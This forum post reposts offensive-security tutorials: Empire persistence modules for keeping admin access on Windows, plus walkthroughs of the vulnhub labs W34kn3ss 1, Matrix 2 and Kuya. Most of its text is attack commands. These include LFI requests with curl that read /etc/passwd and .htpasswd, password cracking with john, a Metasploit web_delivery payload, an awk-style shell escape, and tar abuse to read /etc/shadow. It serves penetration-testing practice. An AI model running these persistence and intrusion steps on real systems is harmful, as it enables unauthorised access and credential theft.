Login

**NINZA** · 05-14-2020, 11:50 AM

0			0

This is the third article in our empire series, through this we will learn elevated persistence methods. Its trigger method is pretty organised with storage options contained within each module.
In Empire, the elevated persistence modules use trigger method and different storage options are required in different modules. All of these persistence modules are based on PowerSploit’s persistence. As these are elevated persistence, it requires you to have admin access to work as intended. They have different setting options in them including cleanup, etc., for instance, the CleanUp option will set delete your backdoor and set the machine back to its original state.
The registry methods in gaining persistence are one of the oldest methods which use the HKLM version to trigger our payload into the system. Couple of persistence that we will show in our article will have schtasks as an option. This option makes the module a bit trickier as it sets the payload to be triggered on either DailyTime i.e. any given time or using OnLogon option which triggers the payload user is logged on. The Onlogon option does not display a prompt and runs as SYSTEM.
The WMI module is mostly the go-to persistence method. It lets you add a permanent WMI payload at either DailyTime (i.e. at a certain time) or at startup. This module to runs as SYSTEM and it doesn’t depend on the user being logged in.
The modules of persistence that we are going to show in our article are as follows :

Persistence/elevated/registry
Persistence/elevated/schtask
Persistence/elevated/wmi

Firstly, we have to have an elevated session (session with admin rights) through the empire. To know how to get the said session click

[To see content please register here]

. As you can see in the image high integrity is set to 1 that means we have admin privileges. Now, we will use the first persistence module listed above and for this use the following commands :
usemodule persistence/elevated/registry*
set Listener http
execute
1
2
3
usemodule persistence/elevated/registry*
set Listener http
execute
[Image: 1.png?w=687]

Once the above module is executed and when the target machine is restarted, you will again automatically have your session. As shown in the image below :
[Image: 2.png?w=687]

Our next module is persistence/elevated/schtasks, this is a bit different from the previous one as in this we can set a certain time on which we want to gain our session. Again after having a session with administrator privileges, we will use the following set of commands to activate the said persistence module :
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
1
2
3
4
usemodule persistence/elevated/schtasks*
set OnLogon True
set Listener http
execute
[Image: 3.png?w=687]

Due to OnLogon option, your session will return to you once the user logs on to their system, refer the following image for the same :
[Image: 4.png?w=687]

Lastly, we will use the persistence/elevated/wmi module and to use it, type the following set of commands :
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
1
2
3
4
usemodule persistence/elevated/wmi*
set Listener http
set AtStartup True
execute
[Image: 5.png?w=687]

As we have set the startup option true, you will have your session as soon as the target machine starts up just like its shown in the image below :
[Image: 6.png?w=687]

Today we are going to solve another CTF challenge “W34kn3ss 1”. Briefing about the lab, the matrix is controlling this machine, neo is trying to escape from it and take back the control on it, your goal is to help neo to gain access as a “root” to this machine, through this machine you will need to perform a hard enumeration on the target and understand what is the main idea of it, and exploit every possible “weakness” that you can found, also you will be facing some up normal behaviors during exploiting this machine. You need to think out of the box and collect all the puzzle pieces in order to get the job done. This vulnerable can be downloaded from

[To see content please register here]

.

Difficulty: Intermediate
Penetrating Methodologies

Machine discovery and scanning (netdiscover, nmap)
Surfing HTTP service port (80)
Directory enumeration using dirbuster
Exploring directories on the browser.
Adding domain name to /etc/hosts file.
Exploring domain name on the browser.
Directory enumeration using dirbuster
Exploring directories on the browser.
Searching exploits using searchsploit.
Cracking base-64 encoded public key.
Logging into SSH using the public key.
Using online python-decompiler.
Getting root access.
Snagging the Root flag.

Walkthrough
Let’s start off with discovering the IP address of our Target Machine.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then we’ll continue with our nmap command to find out the open ports and services. The nmap scan result gave us quite a bit of useful information which could be useful later on.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 2.png?w=687&ssl=1]

Since port 80 is open, we explored the Targets IP Address on the browser.
[Image: 3.png?w=687&ssl=1]

We didn’t found anything on the webpage, so we use dirb to enumerate the directories on the web server.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After spending a good time while enumerating through these directories, we finally found a useful directory that quite gave us hint to move forward. The picture is indicating that we require lots of keys in this Machine.
[Image: 5.png?w=687&ssl=1]

A thought comes in our head of adding weakness.jth as a domain name in the/etc/hosts file. We found the name weakness.jth in our nmap result under port 443.
nano /etc/hosts
1
nano /etc/hosts
[Image: 6.png?w=687&ssl=1]

Let’s just browse weakness.jth on the browser and the result gave a useful credential n30 that come in handy later on.
[Image: 7.png?w=687&ssl=1]

Let’s again use dirb to enumerate the directories on weakness.jth. You never know what clue it might give us.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

As expected it gave us another useful directory as highlighted.
[Image: 8.png?w=687&ssl=1]

While browsing this directory on the browser it showed two files mykey.pub which is a public key and notes.txt. Let’s download them on our system.
[Image: 9.png?w=687&ssl=1]

When we opened notes.txt on the browser it gave us a clue about OpenSSL 0.98c-1 and that the public key we found was generated by it.
[Image: 10.png?w=687&ssl=1]

Then we look for it using searchsploit. The exploit we have used is highlighted, after that, we have copied the exploit 5622 in the /root directory and read the contents in it.
searchsploit -m 5622
cat 5622.txt
1
2
searchsploit -m 5622
cat 5622.txt
After reading all the contents of the file, it got cleared on how to use this tool. Since there is a GitHub link from where we have to download this tool and follow further instruction given. Basically, this tool will help us in cracking the public key.
[Image: 11.png?w=687&ssl=1]

When we read the contents of the public key found earlier, it came out to be base-64 encoded SSH public key.
cat mykey.pub
1
cat mykey.pub
[Image: 12.png?w=687&ssl=1]

After downloading the tool from the GitHub link. We have used that tool to decode the base-64 encoded public key and we got success in doing it. The decoded key is highlighted.
[Image: 13.png?w=687&ssl=1]

It’s time to log into SSH using the public key and the username as n30.
ssh -i 4161de56829de2fe64b9055711f531c1-2537 [email protected]
1
ssh -i 4161de56829de2fe64b9055711f531c1-2537 [email protected]
On enumerating the directories, we found two files code and user.txt. Let’s read the contents of user.txt.
cat user.txt
1
cat user.txt
When we checked the file type of code, it came out to be a python compiled file. Let’s copy it to /var/www/html by this we can download this file on our system.
file code
cp code /var/www/html
1
2
file code
cp code /var/www/html
[Image: 14.png?w=687&ssl=1]

We have downloaded the file on our system and moved it into code.pyc because it’s a python compiled file and online python-decompiler only takes input in .pyc format. That way we can easily decompile this file.
[Image: 15.png?w=687&ssl=1]

On decompiling, the file using online python-decompiler gave us very useful credential i.e
Username- n30
Password- dMASDNB!!#B!#!#33
1
2
Username- n30
Password- dMASDNB!!#B!#!#33
It a little to figure out it.
[Image: 16.png?w=687&ssl=1]

Let’s check if n30 has security privileges. So when we did check it asked for a password, here we have given the password found earlier from decompiling.
sudo -l
1
sudo -l
Booyah!! We have got the root access. Time to read the contents of our final flag.
sudo -i
ls
cat root.txt
1
2
3
sudo -i
ls
cat root.txt
[Image: 17.png?w=687&ssl=1]

Today we are going to solve another Boot2Root challenge “Matrix 2”. It is another vulnerable lab presented by vulnhub for helping pentester’s to perform penetration testing according to their experience level. This vulnerable lab can be downloaded from

[To see content please register here]

.

Difficulty: Intermediate
Penetrating Methodologies:

Network scanning (Nmap)
Surfing HTTP service port (80)
Surfing HTTPS service port (1337)
Surfing HTTPS service port (12320)
Surfing HTTPS service port (12322)
Browsing Directories on the browser
Discovering LFI vulnerability.
Enumerating through /etc/passwd file.
Enumerating through /var/www/p4ss/.htapasswd file.
Cracking password hash.
Using Credentials to log into port 1337.
Viewing Page source of Webpage.
Find Hidden file using steghide.
Using Credentials to log into port 12320.
Creating Python exploit using Metasploit.
Getting root access.
Snagging the Root flag.

Walkthrough
Let’s start off with scanning the network to find our target.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
[Image: 1.png?w=687&ssl=1]

From nmap result, we observed that on multiple ports there is HTTPS service running except on port 80. We thought of exploring all the ports along with targets IP Address on the browser. Let’s see what clue we get to move ahead.
Firstly, we explored the Targets IP address on port 80 on the browser. It was not much of great help.
[Image: 2.png?w=687&ssl=1]

Secondly, we explored the Targets IP Address on port 1337 on the browser. Here we noticed it required authentication but we don’t know that. Moving on.
[Image: 3.png?w=687&ssl=1]

Thirdly, we explored the Targets IP Address over port 12320 on the browser. We noticed that it showed us a command shell which again is not much of great help. Moving Forward.
[Image: 4.png?w=687&ssl=1]

Fourthly, we explored the Targets IP Address over port 12322 on the browser. The webpage opened didn’t come out to be much useful. But what draws our attention is that we noticed two disallowed entry on port 12322 in the nmap scan result. On exploring the first entry robots.txt, we found another disallowed entry i.e file_view.php.
[Image: 6.png?w=687&ssl=1]

When we explored the entry file_view.php along with Targets IP Address, it opened a blank webpage which made us curious about it. So, when we checked the View Page Source, there we saw the page is sending a GET Request. After spending some time thinking, we decided to use curl for exploiting LFI vulnerability for obtaining /etc/passwd file. Here we saw two credentials n30 and Neo, they might come in handy.
curl -X POST –k

[To see content please register here]

-d "file=../../../../../etc/passwd"
1
curl -X POST –k

[To see content please register here]

-d "file=../../../../../etc/passwd"
[Image: 8.png?w=687&ssl=1]

Here, we found another directory /var/www/p4ss/.htpasswd which might be useful.
curl -X POST -k

[To see content please register here]

-d "file=../../../../../etc/nginx/sites-available/default"
1
curl -X POST -k

[To see content please register here]

-d "file=../../../../../etc/nginx/sites-available/default"
[Image: 9.png?w=687&ssl=1]

After getting another directory, We used curl to exploit LFI vulnerability to obtain the contents of /var/www/p4ss/.htapasswd by using the command.
curl –X POST –k

[To see content please register here]

-d "file=../../../../../var/www/p4ss/.htapasswd"
1
curl –X POST –k

[To see content please register here]

-d "file=../../../../../var/www/p4ss/.htapasswd"
This result gave us a HASH. Time to bring john up.
[Image: 10.png?w=687&ssl=1]

We have used John to crack the hash.
john hash --wordlist=/usr/share/wordlists/rockyou.txt
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
It gave us a Username and Password i.e admin & Tr1n17y
[Image: 11.png?w=687&ssl=1]

Let’s use these credentials to log into port 1337 along with Targets IP Address on the browser.
[Image: 12.png?w=687&ssl=1]

The webpage showed a name n30 which can be used as a credential later on. On exploring the View Page Source of the webpage showed us a hidden image h1dd3n.jpg.
[Image: 14.png?w=687&ssl=1]

When opening the image h1dd3n.jpg on the browser. The result is shown in the image below.
[Image: 15.png?w=687&ssl=1]

We have used a tool called “steghide” to find if there is any file hidden inside the image and find a hidden text file called “n30.txt”. We extract the file and opened it which gave us a password i.e P4$$w0rd.
[Image: 16.png?w=687&ssl=1]

Let’s login to port 12320 using targets IP Address by using Credentials as.
Username: n30
Password: P4$$w0rd
1
2
Username: n30
Password: P4$$w0rd
[Image: 17.1.png?w=687&ssl=1]

After making sure python is running on the machine. We have created a python exploit using Metasploit.
use exploit/multi/script/web_delivery
set lhost 192.168.1.107
set srvhost 192.168.1.107
exploit
1
2
3
4
use exploit/multi/script/web_delivery
set lhost 192.168.1.107
set srvhost 192.168.1.107
exploit
Let’s copy the command created and paste it on the target machine.
[Image: 17.png?w=687&ssl=1]

Let’s copy the command created and paste it on the target machine.
[Image: 18.png?w=687&ssl=1]

After obtaining meterpreter, we have explored the directories. Here we found a file .bash_history which contains some commands. These commands can be useful to get root access, let’s save them for later use.
ls
cat .bash_histroy
1
2
ls
cat .bash_histroy
[Image: 19.png?w=687&ssl=1]

Let’s get back to the meterpreter and use the command we have obtained earlier.
Booyah!! We have got the root access. Time to read the flag.
shell
id
morpheus 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
shell
id
morpheus 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
[Image: 20.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Kuya”. It is another vulnerable lab presented by vulnhub for helping pentester’s to perform penetration testing according to their experience level. This vulnerable lab can be downloaded from

[To see content please register here]

.

Level: Medium
Task: To find three flags hidden in the whole application
Penetrating Methodology

Machine discovery and scanning(netdiscover, nmap)
Surfing HTTP service port(80)
Directory enumeration using dirbuster
Extract steganographic content using steghide
Extract file from a pcapng file using Wireshark
Extract and decrypt hashes using John the Ripper
Check contents of system-wide configuration files for credentials
Privilege escalation using tar

Let’s start off with discovering the IP address of our VM
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then we’ll continue with our basic Nmap command to find out the open ports and services. Here we’ll find port 22 and 80 open.
nmap -p- -A 192.168.0.16
1
nmap -p- -A 192.168.0.16
[Image: 2.png?w=687&ssl=1]

Once we get the idea of the existence of a web application, we’ll browse it on a browser
[Image: 3.png?w=687&ssl=1]

We’ll use dirbuster to brute force the directories of the web application.
[Image: 4.png?w=687&ssl=1]

We’ll browse the directories one-by-one only to find that “loot” is the only helpful directory
[Image: 6.png?w=687&ssl=1]

We’ll download all the images and use steghide to discover the hidden content beneath the images.
steghide extract -sf 1.jpg
steghide extract -sf 2.jpg
steghide extract -sf 3.jpg
steghide extract -sf 4.jpg
steghide extract -sf image.jpeg
1
2
3
4
5
steghide extract -sf 1.jpg
steghide extract -sf 2.jpg
steghide extract -sf 3.jpg
steghide extract -sf 4.jpg
steghide extract -sf image.jpeg
[Image: 7.png?w=687&ssl=1]

Now, we’ll try to read the files, “secret.txt” there contained a base64 encoded string. Once decoded, it would give a string, not very useful.
cat secret.txt
1
cat secret.txt
We’ll check the emb.txt, we get the brainfuck encrypted text
cat emb.txt
1
cat emb.txt
[Image: 8.png?w=687&ssl=1]

Once decrypted, the brainfuck encryption gave us the result and our first flag
[Image: 9.png?w=687&ssl=1]

We’ll open the “loot.pcapng” file with Wireshark to check the communication and there we found the record of GET and POST request for downloading a file along with the file byte in the 11th packet. Once selecting the packet we’ll go to File > Export Objects > HTTP and then save the 7z file.
[Image: 10.png?w=687&ssl=1]

When we tried to open and extract the file contents, it asked for a password so we’ll use 7z2john.pl to get the hash value from the 7z file and use john the ripper to crack it using the rockyou.txt wordlist. Here, we get the password “manchester” for the 7z file.
./7z2john.pl loot.7z > 7zhash
john 7zhash --wordlist:/usr/share/wordlists/rockyou.txt
1
2
./7z2john.pl loot.7z > 7zhash
john 7zhash --wordlist:/usr/share/wordlists/rockyou.txt
[Image: 12.png?w=687&ssl=1]

We’ll again try to extract the contents of the 7z file, providing the password we found out about the two key files found
[Image: 11.png?w=687&ssl=1]

Again, we move back to john the ripper, this time we’ll use ssh2john.py script to get the hash value from the id_rsa file, then we’ll use john to crack the hash using rockyou.txt as wordlist. The password decrypted as “hello”
python ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt
1
2
python ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt

Then we wanted to know the username so we head towards id_rsa.pub to check the contents and discover the username in the end of the file. The username came out as “test”.
cat id_rsa.pub
1
cat id_rsa.pub
Now we have the username and the private key along with the password, let’s try to connect to SSH
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]

[Image: 13.png?w=687&ssl=1]

After getting a shell, first we’ll check the files, in the .ssh directory, we will find a sshscript.sh file having our second flag.
Then we’ll move to /var/www/html /wordpress directory to look out for configuration files and we found a file wp-config-sample.php
cd .ssh
ls -la
cat sshscript.sh
cd /var/www/html/wordpress
ls –al
1
2
3
4
5
cd .ssh
ls -la
cat sshscript.sh
cd /var/www/html/wordpress
ls –al
[Image: 14.png?w=687&ssl=1]

Use more command along with the cat command to display the complete contents of the config file.
cat wp-config-sample.php |more
1
cat wp-config-sample.php |more
[Image: 15.png?w=687&ssl=1]

Once we get the credentials, use su to switch to a new user, now we tried to find files with sudo permissions, but no luck so we switch to the home directory of the new user and check the files. Here we have a hidden file with bash history named .bash_history having some useful information. It provides us with details about the use of getcap and setcap commands.
su kuya
find / -perm -4000 2>/dev/null
cd
ls
cat who_dis.txt
cat .bash_history
1
2
3
4
5
6
su kuya
find / -perm -4000 2>/dev/null
cd
ls
cat who_dis.txt
cat .bash_history
[Image: 16.png?w=687&ssl=1]

In Linux, files can be provided with a capability to access specific files majorly critical files with specific permissions only; like a script file can be provided with the capability to read ssh configuration files or /etc/shadow file which can be done using getcap and setcap commands. For more information about this, look here(

[To see content please register here]

)
In Linux, tar has the specific permission to read all files so here we will create a tar file of /etc/shadow and then extract that tar file to display the contents of the newly extracted copy of the original shadow file.
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
getcap -r / 2>/dev/null
tar -cvf shadow.tar "/etc/shadow"
tar -xvf shadow.tar
cat etc/shadow
1
2
3
4
5
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
getcap -r / 2>/dev/null
tar -cvf shadow.tar "/etc/shadow"
tar -xvf shadow.tar
cat etc/shadow
[Image: 17.png?w=687&ssl=1]

As we can open extract and archive files that need root permission. We can use the “tar” command to archive the entire “/root” directory as shadow.tar inside user kuya’s home directory. We then extract “shadow.tar” using tar command and are able to get the root directory. We go to the extracted root directory and find a file called “M3m3L0rd.txt”. We open the file and find the final flag.
tar cvf shadow.tar /root
tar xvf shadow.tar
cd root/
cat M3m3L0rd.txt
1
2
3
4
tar cvf shadow.tar /root
tar xvf shadow.tar
cd root/
cat M3m3L0rd.txt
[Image: 18.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis